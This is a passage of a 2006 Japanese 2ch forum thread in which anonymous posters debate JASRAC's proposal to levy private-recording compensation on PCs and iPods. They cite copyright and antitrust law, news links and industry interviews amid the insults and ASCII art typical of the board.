見ていなければやっていいという短絡的な考えも、良識ある大人のそれとは程遠いものです。
匿名性が守られているとはいえ、もう少し「発する言葉」の与える影響について考えてみてはどうですか?

409 :名無しさん@6周年:2006/05/21(日) 01:37:40 ID:P0YG39yQ0
脳が不自由な奴ばっかだな。さすがだ。

410 :名無しさん@6周年:2006/05/21(日) 01:38:43 ID:OWcPQ3sO0
>>391
JASRACのことなら、関係が深いのは文部科学省であり、文化庁だ。

>>397
いちリスナーが多いであろう通りがかりの人からすれば、過去ログ読めやらググれってのは酷だし、
ここまで複雑怪奇(わかりやすい法律なんてそうそうないが・・・)で場当たり的運用だと、ちょっとやそっとじゃ把握できないでしょ。

「パッと見ひでー」から始まる感情論を排除するだけの説得力のある事例やらソースやらをまとめたサイトもないように思う。

法理論の矛盾点がどうとか細かいことなど後付で、JASRAC vs 対立者のパワーバランスの問題に帰結するようにすら見えてくることもままあるし。

411 :名無しさん@6周年:2006/05/21(日) 01:43:14 ID:AZjvGRs80
JASRACは本気で叩かないとまずいと思う
こいつら音楽の発展どころか衰退を加速させてると思うよ

412 :名無しさん@6周年:2006/05/21(日) 01:44:58 ID:4h+UlQh50
>>410
まーねー。
スレタイをぱっとみて「JASRAC酷すぎ!何様だ!」と思い書き込んでいく、という流れはとっても理解できる。

こっから先は憶測交じりなんだけど、俺みたいなおもしろがり方をしてスレ見てる人よりも
JASRAC憎し、でこの手のスレに常駐している人のほうが多いと思うんだよね。

常駐してりゃループ気味の「間違った知識」に気がつきそうなもんなんだけど
それを指摘するどころか、間違いを拡大させるようなレスすらしてる、みたいな雰囲気を感じてね。

まあ、コテで書いてる人は少ないからあくまでそう感じるっていうだけだけどさ。

そのへんが他の叩き系スレとなんか色が違うように見えてね。

>「パッと見ひでー」から始まる感情論を排除するだけの説得力のある事例やらソースやらをまとめたサイトもないように思う。

これに関してはJASRACのサイトみれば解決することも多いんだけど
まあ、2ちゃんで一行レスするためにわざわざそこまで調べて・・・、ってのもおかしな話だし、
そういうのは別に不思議には思わないんだけどね。

413 :名無しさん@6周年:2006/05/21(日) 01:48:31 ID:OWcPQ3sO0
>>411
JASRACは直接的な叩きにはめっぽう強い広域集金再配布集団だから、
公益法人の民営化(微妙な表現だが)か、情報公開の強化を求めていくのが遠回りなようで近道に思う。

414 :名無しさん@6周年:2006/05/21(日) 01:59:51 ID:pr02dMaS0
ソフトウェアだけで完結できないもんかね。

415 :名無しさん@6周年:2006/05/21(日) 02:00:35 ID:OWcPQ3sO0
>>412
ここは私的録音補償金制度および私的録画補償金制度に関するスレなわけだけど、
JEITA(巻き込まれ気味?)、sarah、SARVH、そしてJASRACと大差ない分け前を得ているRIAJや芸団協がまるで叩かれないことに違和感を感じる。

放送業界を軸とした既存日本のメジャーな音楽産業のあり方そのものが、
必然的にプロモーションを武器とする巨大な音楽出版社やレコード会社、
そしてJASRACお得意の包括契約を不可欠なものと化しているとおぼしきことへの批判もあまり見かけない。

人を集めたところが力を持ち、ひとたび力を持てば好き勝手に振る舞い、
ルールすら自分の都合のよいように変えていくことに慣れきって、
音楽ごとき(なければ死ぬわけではない)で社会問題になろうはずもないということで、
はなっから諦めている人が多いのやもしれないけれど。

416 :名無しさん@6周年:2006/05/21(日) 02:00:53 ID:ybvip9Br0
権利を主張するのは別に構わんが
せめてMSみたいにパッケージに明確なEULAを表示しといてくれ。
意図的に曖昧な表記をしておいてフェアユースは無いよ。

417 :名無しさん@6周年:2006/05/21(日) 02:01:00 ID:lcTDvudz0
JASRACに対して独占禁止法を適応できないものだろうか(´・ω・`)

418 :名無しさん@6周年:2006/05/21(日) 02:01:08 ID:8YLum3Md0

日テレならここまで大きく取り上げられなかったんだろうな。

419 :名無しさん@6周年:2006/05/21(日) 02:04:25 ID:kIsnaf1i0
これってデータセンターとかのストレージサーバはどうすんの?
ん十テラとかあるんだが。。


420 :名無しさん@6周年:2006/05/21(日) 02:13:13 ID:OWcPQ3sO0
>>417
2001年10月に仲介業務法が廃止されるまで、保護されていたJASRACに独占禁止法が適用される可能性は存在しなかった。

なお、独占禁止法第21条:
この法律の規定は、著作権法、特許法、実用新案法、意匠法又は商標法による権利の行使と認められる行為にはこれを適用しない。

ということで、かなり巧妙にやらないと、今となっても適用するのは難しいものと考えられる。

>>419
私的録音補償金制度先進国(・・・)のドイツにおいては、「HDDメーカーが払え」って話になってるようだから、
それを後追いしている感のある我が国の制度も、それに近い物になるのではあるまいか。

421 : プロ視聴者 ◆GIavz7f5OQ :2006/05/21(日) 02:13:40 ID:CDiV1dbA0
音を伝える空気に課金しなくていいの?

422 :名無しさん@6周年:2006/05/21(日) 02:21:03 ID:OWcPQ3sO0
>>421
空気はネタとしても、課金する対象が関連するもののうち何に変わっても驚くには値しないだろう。
海外では、この制度の走りとしてカセットテープレコーダー装置に課金された例がある。

423 :名無しさん@6周年:2006/05/21(日) 02:25:01 ID:yRffT6jd0
利用者に納得させていないのがよくない。要は怠慢

・一般には補償金について知らない人がそこそこいるから>>255みたいな質問が出る。
・さらにその理屈を納得させるのに>>284みたいな説明が必要。

このムリムリ感やボッタクリ感を解消しない限り反発は続くし、そのうち機能しなくなるじゃないかな

424 :名無しさん@6周年:2006/05/21(日) 02:57:01 ID:ipSr8fWW0
>420
ドイツではHDDはどれくらいの値段が私的補償金として上乗せされているのでしょうか?
容量に応じた額とかやり出すと、技術の進歩で容量が増えると私的補償金がとんでもな
い額になりうると思うのですが。


425 :名無しさん@6周年:2006/05/21(日) 03:22:19 ID:412ZNB0x0
>>423
つうか、普通に皮肉っている書き込みに対して
あれこれと揚げ足取り的な突っ込みを入れている
ID:Kb7U5UbG0が馬鹿なだけだと思う。

古人曰く、揚げ足取りは馬鹿でも出来る、そうだから。

426 : ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/05/21(日) 03:25:29 ID:Tpxfrj230
    ∧_∧
    <;`Д´>      ∧_∧
   /    \      (´∀` ) ハハハ
__| |     | |_   /    ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧ ・・・ (⌒\|__./ ./
||. . (    )     ~\_____ノ|  ∧_∧.
.  _/   ヽ          \|   ( ´_ゝ`) 何だコイツ?
.  |     ヽ          \ /    ヽ.
.  |    |ヽ、二⌒)       / .|   | |
.  .|    ヽ \∧_∧   (⌒\|__./ ./
   ヽ、___ (    ) プッ  ~\_____ノ|  ∧_∧
.         _/   ヽ          \|  (´Д` ) 厨房臭くね?
.         |     ヽ          \ /    ヽ、
.         |    |ヽ、二⌒)       / .|   | |
.         .|    ヽ \\       (⌒\|__./ ./
.         ヽ、____ \\      ~\_____ノ|

427 :名無しさん@6周年:2006/05/21(日) 04:14:48 ID:nx/8ug/Y0
私的に楽しむための複製がMDやカセットからPCやフラッシュオーディオ機器に
移行してるだけなのに新たに課金するのには違和感を感じる。

CD買って中古に流さずに複製する人、複製して中古に流す人、レンタルで借りて
複製する人に均一に課金するのはおかしいと思う。

中古買取(もしくは販売)に課金、レンタル料への課金増額とかならわからないでもない。
イヤだけど。

428 :名無しさん@6周年:2006/05/21(日) 05:21:49 ID:Y0xOZ7BZ0
PCのハードディスクの容量が大きくなるにつれ、
DVD系の記録媒体の容量が拡大するにつれて
課金が増えるとすれば、JASRACは左団扇だよな。

429 :名無しさん@6周年:2006/05/21(日) 05:23:19 ID:3GJVoe5Z0
どうやれば潰せるのか考えようぜ

430 :名無しさん@6周年:2006/05/21(日) 05:41:46 ID:fHZ4Q7LC0
カスラックの存在は10年後、20年後の音楽業界に
間違いなく悪影響を及ぼす(現在進行形)

音楽文化そのものが衰退していく

431 :名無しさん@6周年:2006/05/21(日) 06:20:50 ID:XAluYYIQ0
ちょっとした疑問なのだが、>>284の説明に有る
>私的複製行為は、「著作権法上認められた例外」

という「私的複製の行為の範疇」である筈のMDですら保証金を取ってると記憶してるのだが、
この場合、私的複製の範囲でMDとかCDRに落としても保証金返還は可能なのかな?

432 :名無しさん@6周年:2006/05/21(日) 07:00:34 ID:ihZUpQvO0
>>431
MDやCD-Rの補償金制度は、音楽が再生ハードの販促物として扱われて
いた頃に、レンタル屋から借りたものを複製させ、ハード市場を活性化
するために、便宜的に決められたもの。

従って、個人が所有する音源から複製する場合、使用する媒体が補償金を
支払ったものになるのは、論理的におかしい。
iPodやPCへの複製にしても、同じ事。

いつの間にか、レンタル屋から安く借りて複製する事を補償するための
補償金が、音質がいいから、という別の理由にすり替わっている。

433 :名無しさん@6周年:2006/05/21(日) 07:23:37 ID:dE3gYyxG0
業務及び財務等に関する資料の公開について
ttp://www.jasrac.or.jp/profile/disclose/

平成17年度収支予算書 一般会計 [PDF:151KB]
ttp://www.jasrac.or.jp/profile/disclose/pdf/h16/yt_03.pdf

人件費 48億4870万円
調査費 12億5636万円
機械計算関係費 27億1110万円
賃借料 10億5856万円

いずれも16年度支出推定。

434 :ピロピト(アナル触診中):2006/05/21(日) 07:27:37 ID:PcBKfZmi0
俺は音楽なんて一切PCで聴かない。
無駄な金を払う気は毛頭ない。ないないない。
昔録音したものが劣化する前に全てPCに叩き込むそれだけだ。

アニメトピア、ヤングひぽぽたます、よるまげどん、世界の料理ショーの小話部分
等など・・・・。

435 :名無しさん@6周年:2006/05/21(日) 07:33:47 ID:RMtsRkJU0
>>406
カススレの粘着は、多いわけじゃなくて自演もしてるだけ。

436 :名無しさん@6周年:2006/05/21(日) 09:15:54 ID:3qyx4el+0
結局、JASRACの言ってることのほうが正しいのな。

437 :名無しさん@6周年:2006/05/21(日) 09:27:10 ID:YBQrWqjf0
音楽売り上げ不振の元凶か

438 :名無しさん@6周年:2006/05/21(日) 09:29:31 ID:Fi73UvE/0
しかしレコード会社や著作権協会の取り分多すぎだろ!
俺はアーティストにまた曲をつくってもらいたいと思って買ってやってんのに!
これならネットでダータでダウンロードして口座に振り込んでやりたいよ!

439 :名無しさん@6周年:2006/05/21(日) 09:55:04 ID:3qyx4el+0
ダータって何?(・・;

440 :名無しさん@6周年:2006/05/21(日) 11:07:32 ID:P0YG39yQ0
>>432
> MDやCD-Rの補償金制度は、音楽が再生ハードの販促物として扱われて
> いた頃に、レンタル屋から借りたものを複製させ、ハード市場を活性化
> するために、便宜的に決められたもの。

↑ここが全て作り話だし、

> 従って、個人が所有する音源から複製する場合、使用する媒体が補償金を
> 支払ったものになるのは、論理的におかしい。
> iPodやPCへの複製にしても、同じ事。

↑作り話を前提に「したがって」という接続詞を使って間違った主張をしてる。

> いつの間にか、レンタル屋から安く借りて複製する事を補償するための
> 補償金が、音質がいいから、という別の理由にすり替わっている。

↑その結果、嘘で塗り固められた結論になっている。





441 :名無しさん@6周年:2006/05/21(日) 11:17:01 ID:8/rMembr0
まだ言ってんの?こいつら。

442 :名無しさん@6周年:2006/05/21(日) 11:30:08 ID:de12ntS70
JASRACとか死ねば良いのに

443 :名無しさん@6周年:2006/05/21(日) 12:05:09 ID:MoA6MPRg0
JASRACって一体どこに献金してるの?
こんな無茶が許されるというのは、やっぱり自民党?

444 :名無しさん@6周年:2006/05/21(日) 12:08:38 ID:RMtsRkJU0
しつけーな。

445 :名無しさん@6周年:2006/05/21(日) 12:48:22 ID:XmIwNHs70
俺もJASRACの理事に入れてくれ!!

446 :名無しさん@6周年:2006/05/21(日) 12:59:18 ID:7IC7UWpW0
著作権や肖像権を維持するのに費用がかかるというシステムにしてくれないかな
そうすりゃ昔のテレビなどの肖像権問題とかでネット配信しにくいという弊害がなくなるのに

447 :名無しさん@6周年:2006/05/21(日) 13:06:40 ID:XmIwNHs70
別に著作権に関係する金を払いたくないと言ってる訳ではないのだよな。
JASRAC等のリスナーからアーティストの間に入っている組織が
無茶苦茶多額の金を横取りして自分たちの報酬に当てているのが納得いかないだけで。
そこんとこを是正すれば、別にPCに補償金掛けたって別に構わないわけだが。

448 :名無しさん@6周年:2006/05/21(日) 13:40:05 ID:mUMpF2+J0
ジャスラックって、音楽の事を考えている訳でもないし、
アーティストへ正当な報酬が渡る様にと考えてる訳でもないよな。

いかに金を取るか、絞り取るか、それを自分達の物にするか
それだけだよな。考えてるのって。



449 :名無しさん@6周年:2006/05/21(日) 14:44:26 ID:5fBqUYeb0
新潟中越地震の時だけジャスラックが
いちいち取立てしない宣言をした件について。

450 :名無しさん@6周年:2006/05/21(日) 15:07:59 ID:LIq+bvkC0
>>448
ヤクザとなんら変わらんな。

451 :名無しさん@6周年:2006/05/21(日) 15:30:06 ID:SWPzyeHG0
中世では塩が専売だったり、窓の数に応じて税金が決まったり、トランプに税金が掛けられたり、滅茶苦茶な税金がいっぱいあったけど、現代も巧妙化されてるだけでまったく変わらないのよね。


452 :名無しさん@6周年:2006/05/21(日) 16:12:05 ID:Pq/ifM8F0
>>447
そこまで常識的に判断できるなら、こんな素案は出てこない。
ソフトだけで完結する。

453 :名無しさん@6周年:2006/05/21(日) 16:12:37 ID:mLP/pHA60
音楽用CD-Rも、MDもCD代もカラオケ屋も、音楽が売れなくなったらJASRACにお金は入らなくなる。
これなら分かる。
でもPCやHDDに課金すると音楽が売れなくてもJASRACにお金が入るようになる。
これは明らかにおかしい。

454 :名無しさん@6周年:2006/05/21(日) 16:14:54 ID:iB/6tMyw0
こいつら輸入盤やインディーズやクラシックやリミックスはどう考えてるんだ?
絶対本人たちに金渡ってないだろ

455 :名無しさん@6周年:2006/05/21(日) 16:21:07 ID:91DTcZEo0
>>454
輸入盤はあっちの権利管理団体に使用料いくようになってる


456 :名無しさん@6周年:2006/05/21(日) 16:24:44 ID:iB/6tMyw0
>>455
それは知ってるけどこの理屈からすると輸入盤しか買ってない人からも金とるんでしょ・・・

457 :名無しさん@6周年:2006/05/21(日) 17:04:47 ID:uYDDYHgE0
>>456

そもそもすでに輸入盤しか買わない人間もJASRACにみかじめ料を
払っているんだけどな。

458 :名無しさん@6周年:2006/05/21(日) 17:09:16 ID:iB/6tMyw0
>>457
アマゾンドットコムで買っても?

459 :名無しさん@6周年:2006/05/21(日) 17:25:15 ID:WiUgO+BM0
カスラックがまたなんか蠢いているんですか?

460 :名無しさん@6周年:2006/05/21(日) 17:57:49 ID:3yLC/Uh00
>>447
>別に著作権に関係する金を払いたくないと言ってる訳ではないのだよな。
言ってる訳じゃないな。

>JASRAC等のリスナーからアーティストの間に入っている組織が
>無茶苦茶多額の金を横取りして自分たちの報酬に当てているのが納得いかないだけで。
その結果CDやiTMSは価格が1/3以下になってもアーティストの収入は倍増だろうな。

>そこんとこを是正すれば、別にPCに補償金掛けたって別に構わないわけだが。
なんで?
CDやiTMSで十分収入得られるのに、なんでそんな二度手間掛けるんだ?
制度を複雑にするのは中間搾取をわかりにくくして何度も取るためなのが、わかってないのか?

461 :名無しさん@6周年:2006/05/21(日) 18:11:59 ID:Sc0+0+KdO
↑またフェアユース厨の煽りが来たな。

アンチもそうでない者も相手にしない方がいい。
スレ荒れるから。

462 :名無しさん@6周年:2006/05/21(日) 20:19:31 ID:Dv0Chd140
>>461
お前が荒らしてるし。来たなって誰に語りかけてんの?

463 :名無しさん@6周年:2006/05/21(日) 20:40:43 ID:3yLC/Uh00
>>462
なんだかわらかんけど、荒らしは放置で。

464 :名無しさん@6周年:2006/05/21(日) 20:47:31 ID:EINnKzWz0
数千円でコピーし放題になるんだったら文句言わない。

465 :名無しさん@6周年:2006/05/21(日) 20:52:05 ID:v+7c2uCz0
そのうち脳内の記憶にも課金とか言い始めるな、きっと。

466 :名無しさん@6周年:2006/05/21(日) 21:03:16 ID:MydThKC30
ただのJASRACの正直な欲望だろ。
マスコミもこんなの一々相手にすんなと。

467 :名無しさん@6周年:2006/05/21(日) 21:19:06 ID:XAluYYIQ0
>>455
なってるのかなぁ?
TVにしろMDや今回のHDDにしろ包括で使用料取ってどういう基準で配分されるの?

468 :名無しさん@6周年:2006/05/21(日) 21:21:40 ID:p/cPOw1j0
>>1
米国のパソコン(GateWay)からも徴収するんですかw
そうですかw

469 :名無しさん@6周年:2006/05/21(日) 21:23:08 ID:ruVSLYdl0
>>468
それいったら、DELLもだろ。あれ、完全国外生産なんだから。

470 :名無しさん@6周年:2006/05/21(日) 22:14:33 ID:N6NmYGN50
むしろアーティスト側がJASRACを通さないようにして創作活動をするべきでは?
そうなるとレーベルがかなり無くなるわけだが。というかそんなのないか。

ところで、鍵のサントラ・アルバム+MIDIと東方シリーズの曲+MIDIしか入っていない漏れのiPodも課金対象ですが?->JASRAC

471 :名無しさん@6周年:2006/05/21(日) 22:30:30 ID:91DTcZEo0
>>464
なりません。
補償金と使用料は違う。


472 :名無しさん@6周年:2006/05/21(日) 22:39:38 ID:FhBw42/d0
パソコンが売れるだけでJASRACにお金が入る??????????
何それ。

473 :名無しさん@6周年:2006/05/21(日) 22:41:56 ID:tVc7GRSD0
これってどう見ても権利の濫用だよな。

474 :名無しさん@6周年:2006/05/21(日) 22:44:00 ID:65PNw2zY0
>>50
亀レスだが、禿同
苗(音楽)を育てるんじゃなくて、今食ってしまえ(私服を肥やせ)という考え方だよな

475 :名無しさん@6周年:2006/05/21(日) 22:47:01 ID:4JD7I2J00
さすがはカスラックw
消えてなくなれw

476 :名無しさん@6周年:2006/05/21(日) 22:49:17 ID:oxPxgfty0
よくわからんがカスラックは一度解体したほうがよさそうだな

477 :名無しさん@6周年:2006/05/21(日) 22:58:26 ID:ipSr8fWW0
PCやiPodへの補償金が本当に実施されたとして、HDDの容量に応じた補償金が上乗せされるとしたら、
補償金は数千円では済まないような気がする。


iPod1Gから100円が基準になると。
iPod60Gからは6000円
250GBのHDDを積んだパソコンからは、25000円
1TBのHDDを積んだファイルサーバから10万円


478 :名無しさん@6周年:2006/05/21(日) 23:04:37 ID:0rpKkGj70
JASRACハ上場シソウニないから
TOBデキナイナW

479 :名無しさん@6周年:2006/05/21(日) 23:15:53 ID:FhBw42/d0
コピー移動はしてほしくない。
でも(音楽用に使うかどうかは知らないけれど)補償金は漏らさず払え。
こう必至に囲い込む同行を眺めるに、
協会と名の付く団体は、どの分野でも自分自身の存在を危惧しているんだなぁと実感する。
じゃなきゃこんなに横暴なこと言い出さない。

自分らが実はもう要らないってことが、自分自身で一番解るから制度化を主張するんでしょ。
配信が更に進化すれば、ガラス張りの会計システムができあがる。
著作権協会の仕事は事実上電子化され、商業取引の中で自動的に機能する。
彼らが最も合理的なビジネスモデル(=彼ら自身の天敵)に気がついている証拠。
   ∧_∧     ∧_∧
  ( ´∀`)   (・∀・  )

480 :名無しさん@6周年:2006/05/21(日) 23:20:58 ID:3qyx4el+0
どいつもこいつもどーせピーコしまくってるくせに、こんなところでJASRAC批判かよ。

文句があるなら正々堂々とJASRACにいえよ。JASRACの考え方はきちんと
表明されているのに論破もできず、できることといえば「二重取り」のレッテル貼り。

さいてーだな。


481 :名無しさん@6周年:2006/05/21(日) 23:29:58 ID:9f5UZZWf0
>480
工作活動おつかれさん

482 :名無しさん@6周年:2006/05/21(日) 23:31:31 ID:ruVSLYdl0
>>480
     :::;;;;;;,-''''''''-;;;,;;;;;;
    ;;;;;;;;;;i´    `i;;;;;::::
   ;;;;;;;;┌'      'ヘ;;:
   ;;;;;;;;;)ュ,      ,r(;;;
    :;;;;;;;;;>、   ,ノヾ;;;;;;;
   ;;;:,チ''゛  :`::::::':':   ゙゙Y;;;;::::
 ::;;;;y'´   ,        `{;;;;;:::::
 ::;;;.(,   ″        '(;;;::
  ;;;;;:`,ll'-=@     ll  |:::
   ::::|   ゙;,_ ,:     ゙  i;;;;,,,,,,,,,
   :::::i   ::::          .'-、;;;;;;;;;;;:::::
  ;;;;;;;;ハ  i:::::    ....::::''   `'<;;;;;::::
   ::;;;;;.ハ  '(i|||||lllllllliiii=''′  .,};;;;''''
 _,,,,,lllllllシ  ,,illllllllll″ ,__,,,,,,,,,iiillllllllllllll)
.(lllllllllllll、,,,ィ'illlllllllllllli, ゙lllllllllllllllll!゙゙゙゙゙゙
  `”゙゙゙゙゙゙llllllllllllllllllllllュ,,j'lllll゙


483 :名無しさん@6周年:2006/05/21(日) 23:42:03 ID:FhBw42/d0
祝開店! iTunes Music Store
http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20050728/165438/
(注:当時未上陸だった)
>さて,実際にiTMSがいつ,どのような形で日本に上陸できるのかはまだ不明な部分が多い。
>特に日本では,欧米のように1曲100円でダウンロードできるようになるのか,
>150万曲以上の楽曲を品揃えできるのか,などiTMSのビジネスを魅力的にしている
>要素を備えられるかどうかが懸念されている。

>日本では著作権料をJASRACなどがいったん徴収し,著作権者に過去の実績に基づき
>再配分するというビジネス・モデルが存在する。iTMSではこうした中間的な流通シス
>テムは飛ばしてしまうから,1曲100円程度という低価格販売が可能になる。

JASRACの著作権収入、過去最高の1136億円
http://itpro.nikkeibp.co.jp/article/NEWS/20060517/238265/
http://itpro.nikkeibp.co.jp/article/NEWS/20060517/238256/

音楽配信は、レンタルや中古CDの代替として普及する
http://itpro.nikkeibp.co.jp/free/NPC/NEWS/20050812/166342/


484 :名無しさん@6周年:2006/05/21(日) 23:46:27 ID:fN9cwQ400


いい加減にしろよカスラック  しねええええええええええええええええええええええええええええくそ団体

485 :名無しさん@6周年:2006/05/21(日) 23:47:34 ID:IO7gqJVt0
>>483

>日本では著作権料をJASRACなどがいったん徴収し,著作権者に過去の実績に基づき
>再配分するというビジネス・モデルが存在する。iTMSではこうした中間的な流通シス
>テムは飛ばしてしまうから,1曲100円程度という低価格販売が可能になる。

この部分、完全に間違ってると思う。
iTMSでもJASRACが著作権料を徴収してるし、
一方でCDの流通にはJASRAC関与してないし。

486 :名無しさん@6周年:2006/05/21(日) 23:54:36 ID:tVc7GRSD0
先生、しつもんでーす。
ホームビデオなどで本来DVDメディア等の所有者の下に返還されるべきだが
権利を行使されていない保証金は誰の懐に入っているんですか?
また、その保証金を受け取ることの出来る法的根拠は何ですか?

487 :名無しさん@6周年:2006/05/21(日) 23:58:19 ID:w9xmQT+c0
No more music.
No more money.

488 :名無しさん@6周年:2006/05/22(月) 00:02:08 ID:jXuZGvc60
とりあえず>>60でこの問題は解決だな

489 :名無しさん@6周年:2006/05/22(月) 00:03:37 ID:xpNFF+Px0
当時は日本はまだで、欧米のことを書いているのだと思います。

>日本(の既存ビジネスモデル)では著作権料をJASRACなどがいったん徴収し・・・
>(既に稼働している海外の)iTMSではこうした中間的な流通シス
>テムは飛ばしてしまうから,1曲100円程度という低価格販売が可能になる。

となかろうかと。

490 :名無しさん@6周年:2006/05/22(月) 00:04:50 ID:gvw8FbNi0
ソニーミュージカルエンタテインメント秦氏インタビュー
http://64.233.187.104/search?q=cache:jktO1FW6qPoJ:www.fmp.or.jp/express/attitude/a_03062.html

上出「iTunes Music Store(以下、iTunes)は驚くほど好調な立ち上がりですが、
こうした状況をどのように見ていらっしゃいますか」

秦「スタート時に好調だったと伝えられているのは、もともとアップル社に対する
ロイヤリティが高かったユーザーが、開始と同時に飛びついたという感じですよ
ね。インターネットで音楽を手に入れるという形は、今までファイル交換などでほ
とんどが無料で行われていましたが、お金を払ってくれるようになったという点で
は注目しています。ただ、数字的には最初をピークにどんどん落ちてきています
し、アルバムのダウンロードで考えるとそれほど多い人数ではないんですよ。レー
ベルゲートと同じくらいじゃないでしょうか。

上出「これまでの配信モデルでは、セキュリティがガチガチすぎて使いづらいとい
う声がありました」

秦「iTunesはガチガチどころか全然ですよ(笑)。CDに焼いた時点で、セキュリティ
はないと思ってください。ソニー・ミュージックインターナショナルでも、あれはあくま
でテスト段階という見解であって、どのメジャーも今後もあのまま楽曲を提供する
とは表明していません」

上出「1曲あたり99セントという値段は、アメリカのユーザーにとって安いので
しょうか」

秦「もともとはタダで手に入れていたものですからね。ユーザーにとっては、
音楽を楽しむ対価として、それほど安いという感覚はないと思います」

491 :名無しさん@6周年:2006/05/22(月) 00:04:55 ID:3xxsK8UK0
>>488

>>60は間違ってますから。

492 :名無しさん@6周年:2006/05/22(月) 00:06:30 ID:lrIGJow/0
今まで著作権保護を考えて自分で買ったCDとか正規に購入した
iTMSのファイルしかパソコンに入れてなかったんだが、これは
俺みたいなやり方では損するっていうことだよな。
じゃあ、もうマジメにやるのやめた。ファイル交換ソフトでどんどん
ダウソしまくる。決めた。

493 :名無しさん@6周年:2006/05/22(月) 00:07:04 ID:3xxsK8UK0
>>489

いえいえ。アメリカのiTMSでも著作権管理団体がいったん徴収してますよ。

494 :名無しさん@6周年:2006/05/22(月) 00:14:20 ID:3xxsK8UK0
>>486
>ホームビデオなどで本来DVDメディア等の所有者の下に返還されるべきだが
>権利を行使されていない保証金は誰の懐に入っているんですか?

本来所有者に返還されるべき補償金であっても、
補償金を徴収する側にとっては見分けがつきませんので、
みんなまとめて比例配分ですよ。

>また、その保証金を受け取ることの出来る法的根拠は何ですか?

著作権法104条の4第1項になるでしょう。


495 :494に補足:2006/05/22(月) 00:21:26 ID:3xxsK8UK0
しかし、管理著作物の録音以外に利用されるメディアについて徴収した補償金は
不当利得に該当すると思われるので、返還請求ができます。
それが著作権法104条の4第2項です。

496 :名無しさん@6周年:2006/05/22(月) 00:27:08 ID:gvw8FbNi0
レーベルゲートCD開発に中心的な役割を果たしたSMEの秦幸雄
http://www.itmedia.co.jp/internet/guide/0302/newsbr/
「機器の再生保証という話でいえば、現状のCDでも100%の再生保証があるわけではない。
また、同じ製品でも発売時期によって中のドライブが変わることがあるので、『この機種
ならば問題なく再生できる』と発表するのも現実的に難しい。悩ましいところだが、ごく
一部の再生できない人のために、著作権やアーティストの権利をないがしろにするわけに
はいかない。より多くの機器で問題なく再生でき、より強力にコピーを防止できる技術が
登場すれば、当然そちらに切り替えていくつもりだ」(秦)


SONYウィルス事件まとめ
(参照)http://www.itmedia.co.jp/news/topics/xcp.html

(1)種類
・問題になっているウィルスは、少なくともXCProotkitとMediaMaxの2種類
・XCProotkit入りCDは210万枚、MediaMaxは2000万枚以上販売された
・CDリストが公表されているのはXCProotkitだけ
http://cp.sonybmg.com/xcp/english/titles.html ※1枚を除き旧SMEレーベル?

497 :名無しさん@6周年:2006/05/22(月) 00:29:53 ID:7ZN6OqxTO
>>60でいいんじゃね?
カスラックにくれてやる金はねぇ!

498 :名無しさん@6周年:2006/05/22(月) 00:31:19 ID:gvw8FbNi0
「デジタル音楽の売り上げ搾取」でアーティストがSony Musicを提訴
http://www.itmedia.co.jp/news/articles/0604/29/news002.html

・原告は往年のロックバンド、チープ・トリックとオールマン・ブラザーズ・バンド。原告に
 よれば、Sony Musicでは音楽ダウンロード販売の売り上げから「コンテナ/パッケージ代」
 などを差し引いて、1曲当たり約4.5セントしかアーティストに渡していないという。

 AppleのiTunes Music Storeなどを使ったデジタル音楽販売でアーティストに支払われる
 取り分が少なすぎるとして、ロックバンドのオールマン・ブラザース・バンドとチープ・トリックが
 Sony Musicを提訴した。原告側の弁護を務めるLabaton Sucharow & RudoffとProbstein &
  Weinerが4月27日、発表した。

 発表によれば、デジタル音楽のダウンロード販売では、音楽パブリッシャーへの支払い分を
 差し引いてSony Musicは1曲当たり70セントの売り上げを得ているが、そのうち約30セントが
 アーティストに支払われるべきだと原告側は主張。
 しかしSony Musicでは、音楽ダウンロード販売をCDやカセットテープと同じ物理製品の
 販売として扱い、「コンテナ/パッケージ代」として20%を差し引いたうえ、「オーディオ
 ファイル」代としてさらに50%を差し引き、アーティストには1曲当たり約4.5セントしか
 支払っていないとされる。

 Sony Musicがアーティストに支払うべき金額を払わないのは契約違反であり、多額の
 損害を受けたと原告側は訴えており、集団代表訴訟としてほかのアーティストにも
 参加を呼び掛けている。

499 :名無しさん@6周年:2006/05/22(月) 00:40:47 ID:eiXApt3r0
>>480
CDはラジカセで聞け親父氏ね

500 :名無しさん@6周年:2006/05/22(月) 00:43:31 ID:bM9+etop0
金額をどのくらいに考えてるのかしらんけどこれはひどいぞJASRAC

音の出ないサイレントPCとか売り出されたりして
当然課金無しで

501 :名無しさん@6周年:2006/05/22(月) 00:46:48 ID:cLw0nCi60
>「iPodだけでなくパソコンも含め,私的録音への対応を考えたい。
>パソコンはオーディオ専門機ではないが,音楽配信サービスの
>利用実態に着目して補償金の対象としたい」

「音楽配信サービス」を、「契約してる奴」から徴収すればいいのでは?

502 :名無しさん@6周年:2006/05/22(月) 00:47:41 ID:eiXApt3r0
法律オタと工作員の交流スレ

503 :名無しさん@6周年:2006/05/22(月) 00:56:09 ID:bWSnhfGH0
とりあえずカスラック潰れろ。
こんな無茶苦茶な理論、よく平然と振りかざせるよな。
そこだけは感心する。でもアーティストの未来のためにさっさと潰れてくれ。

504 :名無しさん@6周年:2006/05/22(月) 00:58:04 ID:N5DEeYAy0
著作権ゴロ

505 :名無しさん@6周年:2006/05/22(月) 00:59:05 ID:3eOnse8+0
JASRAC音楽振興のために何やってるの?
音楽に寄生ばかりかな?

506 :名無しさん@6周年:2006/05/22(月) 01:05:34 ID:3atT1C4u0
>>505
・とりあえず、ネット上のMIDIデータ検索システムを大金突っ込んで
 MIDIデータ公開してるヤツに片っ端から警告送って料金徴収、
 日本でのMIDI文化を壊滅させた手柄がありますね。

・上部組織(つか本体)の古賀財団に無利子で70億貸して
 ステキビルを建てたりしたのは有名ですね。

・生バンド演奏の喫茶店などに狙いを絞り全国行脚して、
 実際の演奏トータル時間とかは無視して「営業時間ベース」から
 勝手に割り出した「仮定の演奏時間」あたりの著作権料金を請求、
 営業規模の小さなジャズ喫茶とかを国内から殲滅しました。やあご立派。

あとは……なんだろう。なにかしら。

なんで死にたくならないのかなあ。JASRACの中の人。

507 :名無しさん@6周年:2006/05/22(月) 01:11:25 ID:3xxsK8UK0
>>505

>とりあえず、ネット上のMIDIデータ検索システムを大金突っ込んで
>MIDIデータ公開してるヤツに片っ端から警告送って料金徴収、
>日本でのMIDI文化を壊滅させた手柄がありますね。

もともと著作権侵害だったんだから、壊滅でよいのでは?
